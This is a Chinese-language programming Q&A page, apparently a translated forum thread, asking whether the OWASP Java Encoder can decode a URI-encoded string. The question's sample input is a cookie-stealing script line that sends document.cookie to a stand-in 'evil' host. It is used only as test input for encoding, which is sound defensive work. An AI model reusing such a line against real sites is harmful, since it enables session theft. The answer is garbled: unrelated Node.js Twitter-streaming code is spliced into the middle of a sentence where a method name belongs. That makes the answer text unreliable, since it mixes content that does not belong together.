OWASP Java编码器是否具有任何解码功能?

时间:2018-02-05 10:45:15

标签: javascript java url-encoding owasp

我使用OWASP编码器的forURIComponent方法对下面的查询字符串进行编码。

String query = "query=hello'};
window.location = 'http://evil?'+document.cookie;va&r- b = {//]'";

String encodedQuery = Encode.forUriComponent(query);

现在我需要解码encodedQuery,解码后的字符串应该与原始查询完全相同。我怎么能这样做?

1 个答案:

答案 0 :(得分:0)

我假设您正在谈论OWASP Java Encoder。据我所知,它不提供任何解码功能。

但是,由于//SetUp info var Twit = require('twit'); // NPM twit package var config = require('./config'); // the config file to allow me access Auth Keys etc var T = new Twit(config);//run config file //end of setup var userID1 = 'XXXXXXXXXXX1'; //TwitterAccount1 var userID2 = 'XXXXXXXXXXX2'; //TwitterAccount2 //these two lines set up the twitter API var stream = T.stream('statuses/filter', { follow: ( userID1 , userID2 ) }); // here seems to be my issue? stream.on('tweet', function (tweet) { if (tweet.user.id == userID1 ) { // is tweet.user.id matches UserID1 DoStuff_1(); //call this function } else if (tweet.user.id == userID2 ) { // if tweet.user.id matches UserID2 DoStuff_2(); // call this function instead } }); //Function for userID1 function DoStuff_1(){ console.log("Doing Stuff 1"); } //Function for userID2 function DoStuff_2(){ console.log("Doing Stuff 2"); } 方法实现了标准URL percent encoding,因此您可以使用任何正确实现的URL解码函数对其进行解码。例如,在Java中,根据the answers to this question,您可以使用java.net.URLDecoder

在JavaScript中,decodeURIComponent()应该可以解决问题。但是,如果您需要解析包含(可能)多个参数的URI,您可能会发现URL类(或URLSearchParams)更方便使用。